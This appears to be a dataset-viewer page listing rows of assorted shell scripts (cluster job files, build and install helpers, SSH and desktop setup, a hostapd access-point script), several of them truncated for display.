java -Xms128m -Xmx1024m -Dfile.encoding=UTF-8 -cp cognizant-intelligent-test-scripter-ide-${project.version}.jar:$APP_CLASSPATH com.cognizant.cognizantits.ide.main.Main "$@" |
bde0fd6f2f228fdb8aab4fb3841f363574da6546 | 1,494 | #!/bin/bash
#SBATCH -D /clusterfs/rosalind/users/makman/GATK/bcftools_isec/unfiltered
#SBATCH -J catchr01
#SBATCH --account=co_rosalind
#SBATCH --partition=savio2_htc
#SBATCH --qos=rosalind_htc2_normal
#SBATCH --cpus-per-task=6
#SBATCH --time=80:00:00
#SBATCH -o /global/home/users/makman/GATK/outs/2plus_vcf_concat_unf... |
03de5f2f98fdfe8559dbf97911d3f92310b3700e | 85 | #!/bin/bash
while true; do
screen /dev/ttyACM0
echo "bail"
sleep 1
done
|
82633c5605e1fcea7b7e20466d9e0699c0830236 | 121 | #export M2_HOME=/opt/maven
#export MAVEN_HOME=$M2_HOME
#export PATH=$PATH:$MAVEN_HOME/bin
#export MAVEN_OPTS="-Xmx1024m"
|
8dda336e8c73b3f0cb704cae1aa163757738d624 | 266 | #!/bin/bash
echo "Failed attempts: "
grep -a sshd /var/log/auth.log | grep -i "Failed" | grep -v "message repeated" | cut -d " " -f9 | sort | uniq -c
echo "Successful attempts: "
grep -a sshd /var/log/auth.log | grep -i "Accepted" | cut -d " " -f9 | sort | uniq -c |
1ed5479cb45953eaf3f78250ffa31e22ce5279df | 822 | #! /usr/bin/bash
# Workaround for: https://github.com/baskerville/bspwm/issues/52
wmname LG3D
# https://wiki.archlinux.org/index.php/GNOME/Keyring
eval $(/usr/bin/gnome-keyring-daemon --start --components=pkcs11,secrets,ssh)
export SSH_AUTH_SOCK
sxhkd &
compton -b
feh --bg-fill ~/Pictures/wallpaper.jpg
yabar &
bspc... |
767357af19c12de17b52d1ddf1be5152c79ea0d2 | 518 | #!bash # for emacs formatting
authorize () {
HOSTNAME=$(hostname -s)
USER=$(whoami)
DIR="~/.ssh"
REMOTE_PUB="~/.ssh/id_rsa_${HOSTNAME}_${USER}.pub"
AUTH_KEYS="~/.ssh/authorized_keys"
cat ~/.ssh/id_rsa.pub | ssh $1@$2 "umask 077; test -d $DIR || mkdir $DIR; cat > $REMOTE_PUB; cat $REMOTE_PUB >> $AUTH_KEYS; ... |
35f55dfc61f2c4610a7fa962ed7df649ec54d26b | 664 |
OPAM_PKGS="oasis base-bytes"
OPAM_PKGS_TEST="ounit qcheck"
export OPAMYES=1
if [ -f "$HOME/.opam/config" ]; then
opam update
opam upgrade
else
opam init
fi
if [ -n "${OPAM_SWITCH}" ]; then
opam switch ${OPAM_SWITCH}
fi
eval `opam config env`
opam install $OPAM_PKGS
export OCAMLRUNPARAM=b
oasis set... |
ac0cee4bb74006e10deaf8ebd12511e14f8f9fdc | 293 | #!/bin/bash -l
#PBS -l walltime=15:00:00
#PBS -l select=1:ncpus=24:mem=185gb
#PBS -N CAMB3LYP_frame_804
#PBS -j oe
cd ~/AbsorptionSpectra/CAMB3LYP
export OMP_NUM_THREADS=1
export MKL_THREADING_LAYER=TBB
~/.local/src/Qcore/release/qcore -n 18 CAMB3LYP_frame_804.in > CAMB3LYP_frame_804.out
|
04ba05b73c22b5bd36f5a6663c5f6954dbf4764a | 1,215 | #!/bin/bash -eu
. `dirname $0`/../library/script
repository_url=http://download.virtualbox.org/virtualbox/debian
list_path=/etc/apt/sources.list.d/virtualbox.list
if [[ ! -f $list_path ]]; then
# add repository URL to source list
write-file $list_path <<EOF
deb $repository_url quantal contrib non-free
EOF
# im... |
0b3fd07fbbc34d912c04de67a01859dc22ce680a | 27 | #!/bin/sh
exec umount /mnt
|
d7a182fa5cd189f67d5c3aa24862a0cf2454f838 | 4,012 | #!/bin/bash
############################################################################
# Group Trial Cron Script 0.2 by Turranius #
# This script will check how much users in a group uploaded this week and #
# add it togheter. # ... |
1714d132e044aa5b253b3c1ccc870b0837e4842e | 438 | #!/bin/bash -ex
version=1.0.23
rm -rf libusb-${version}
rm -rf libusb-${version}.tar.bz2
rm -rf libusb.h
rm -rf libusb-1.0.a
wget https://github.com/libusb/libusb/releases/download/v${version}/libusb-${version}.tar.bz2
tar -xf libusb-${version}.tar.bz2
pushd libusb-${version}
./configure --disable-shared --disabl... |
c0ffb6000e833250a29def5587b3dfdd71f54416 | 73 | #!/bin/bash
/usr/src/app/run-initialisation.sh & /opt/mssql/bin/sqlservr |
b7cb73694333006f6a92152e398fc7ed5950dbd5 | 117 | #!/bin/sh
(
echo ============
date
id
hciconfig hci0 up
/usr/bin/node main.js
echo ============
) 2>&1 >>/tmp/log
|
fd005b46abe51a7530b2e81a48a9d81f4c79150e | 602 | echo "Starting access point"
hostapd -B hostapd.conf
sleep 1
echo "Configuring bhr0 network interface"
ifconfig bhr0 up
ifconfig bhr0 10.1.1.1 netmask 255.255.255.0
sysctl net.ipv4.ip_forward=1
iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -i bhr0 -p udp -m udp --dport 53 -j DNAT --to-destinat... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.